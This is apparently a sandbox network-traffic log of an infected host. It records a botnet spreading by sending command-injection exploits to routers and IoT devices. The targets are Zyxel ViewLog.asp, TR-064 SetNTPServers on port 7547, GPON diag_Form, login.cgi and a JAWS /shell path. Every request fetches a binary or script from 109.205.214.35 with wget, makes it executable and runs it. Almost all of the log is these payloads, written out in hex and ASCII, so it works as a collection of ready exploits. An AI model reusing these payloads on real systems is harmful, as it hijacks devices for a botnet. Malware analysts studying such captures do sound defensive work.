Mar 21, 2024 05:21:40.449285984 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:21:40.700392962 CET	484	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Date: Thu, 21 Mar 2024 04:21:39 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 130 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 30 20 2d 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Bad Request</TITLE></HEAD><BODY><H2>Access Error: 400 -- Bad Request</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	40244	119.155.52.176	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:39.486784935 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:21:39.772638083 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	46700	104.87.79.31	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:39.504210949 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:39.767951012 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Thu, 21 Mar 2024 04:21:39 GMT Date: Thu, 21 Mar 2024 04:21:39 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 33 37 32 32 64 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 38 39 39 26 23 34 36 3b 37 66 63 38 35 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.53722d17.1710994899.7fc853</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	41210	174.114.75.209	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:39.604015112 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	41216	174.114.75.209	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:39.725819111 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	40272	119.155.52.176	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:39.772820950 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:21:40.059501886 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	55904	34.102.161.153	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:39.860183954 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	43326	52.223.53.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:39.995147943 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	41956	109.17.17.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.020783901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	42782	210.178.49.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.020879030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	46712	104.87.79.31	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.036657095 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:40.303823948 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:21:40 GMT Date: Thu, 21 Mar 2024 04:21:40 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 36 37 32 32 64 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 30 30 26 23 34 36 3b 32 61 62 39 63 66 64 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.56722d17.1710994900.2ab9cfdd</BODY></HTML>
Mar 21, 2024 05:21:41.700565100 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:21:40 GMT Date: Thu, 21 Mar 2024 04:21:40 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 36 37 32 32 64 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 30 30 26 23 34 36 3b 32 61 62 39 63 66 64 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.56722d17.1710994900.2ab9cfdd</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	34490	82.78.147.15	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.146557093 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:21:41.215513945 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:21:41.412257910 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:21:41 GMT Date: Thu, 21 Mar 2024 04:21:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 66 39 33 34 65 35 32 26 23 34 36 3b 31 37 31 30 39 39 34 39 30 31 26 23 34 36 3b 31 37 63 36 34 32 38 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.f934e52.1710994901.17c64281</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	45688	118.82.113.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.203283072 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:21:41.537271023 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:21:41.796885014 CET	456	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:21:41 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 54 68 65 20 72 65 71 75 65 73 74 20 6c 69 6e 65 20 63 6f 6e 74 61 69 6e 65 64 20 69 6e 76 61 6c 69 64 20 63 68 61 72 61 63 74 65 72 73 20 66 6f 6c 6c 6f 77 69 6e 67 20 74 68 65 20 70 72 6f 74 6f 63 6f 6c 20 73 74 72 69 6e 67 2e 3c 50 3e 0a 3c 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>The request line contained invalid characters following the protocol string.<P><P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	47472	75.103.79.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:40.354146004 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:41.215485096 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:41.365658998 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:21:41 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta 